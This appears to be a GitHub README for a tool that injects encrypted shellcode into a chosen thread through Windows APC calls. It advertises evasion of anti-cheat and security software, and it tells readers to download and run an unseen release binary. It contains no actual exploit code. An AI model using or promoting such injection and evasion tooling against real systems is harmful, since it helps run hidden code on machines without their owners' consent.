Skip to content

mohanad1-maker/StealthAPCDispatcher

Repository files navigation

StealthAPCDispatcher 🕵️‍♂️

GitHub release GitHub issues

Welcome to StealthAPCDispatcher! This project implements a thread scheduling stealth method using Asynchronous Procedure Calls (APC) with encrypted shellcode. This technique is valuable for evading detection in various environments, making it a useful tool for red teams and malware researchers.

Table of Contents

Introduction

StealthAPCDispatcher is designed to provide a stealthy method for thread execution using APC. By employing encrypted shellcode, it minimizes the risk of detection by anti-cheat mechanisms and security software. This tool is essential for professionals engaged in red team operations and malware research.

Features

  • Stealth Execution: Uses APC to execute threads without raising flags.
  • Encrypted Shellcode: Protects your payload from static analysis.
  • Modular Design: Easily extendable for various use cases.
  • Lightweight: Minimal resource consumption for efficient operation.

Installation

To get started, download the latest release from the Releases section. You need to execute the downloaded file to set up the tool.

  1. Clone the repository:

    git clone https://github.com/mohanad1-maker/StealthAPCDispatcher.git
    cd StealthAPCDispatcher
  2. Download the latest release: Visit the Releases section to find the appropriate file.

  3. Execute the file: Run the downloaded file to complete the installation.

Usage

Once installed, you can use StealthAPCDispatcher in your red team operations. The tool allows you to inject and execute threads stealthily. Below are some basic commands to get you started.

Command Structure

./StealthAPCDispatcher [options]

Options

  • -h, --help: Display help information.
  • -e, --execute: Specify the shellcode to execute.
  • -t, --thread: Define the target thread ID.

Example

./StealthAPCDispatcher --execute myShellcode.bin --thread 1234

This command executes the specified shellcode on the target thread.

Contributing

We welcome contributions from the community. If you would like to help improve StealthAPCDispatcher, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes and commit them (git commit -m 'Add new feature').
  4. Push to the branch (git push origin feature/YourFeature).
  5. Open a pull request.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or feedback, please open an issue in the Issues section. You can also reach out via email at your_email@example.com.


StealthAPCDispatcher aims to provide a robust solution for stealthy thread execution. With its unique features and ease of use, it stands as a valuable asset for security professionals. We hope you find this tool useful in your research and operations.

For the latest updates and releases, always check the Releases section.

About

Thread scheduling stealth method using APC with encrypted shellcode

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published

Contributors 2

  •  
  •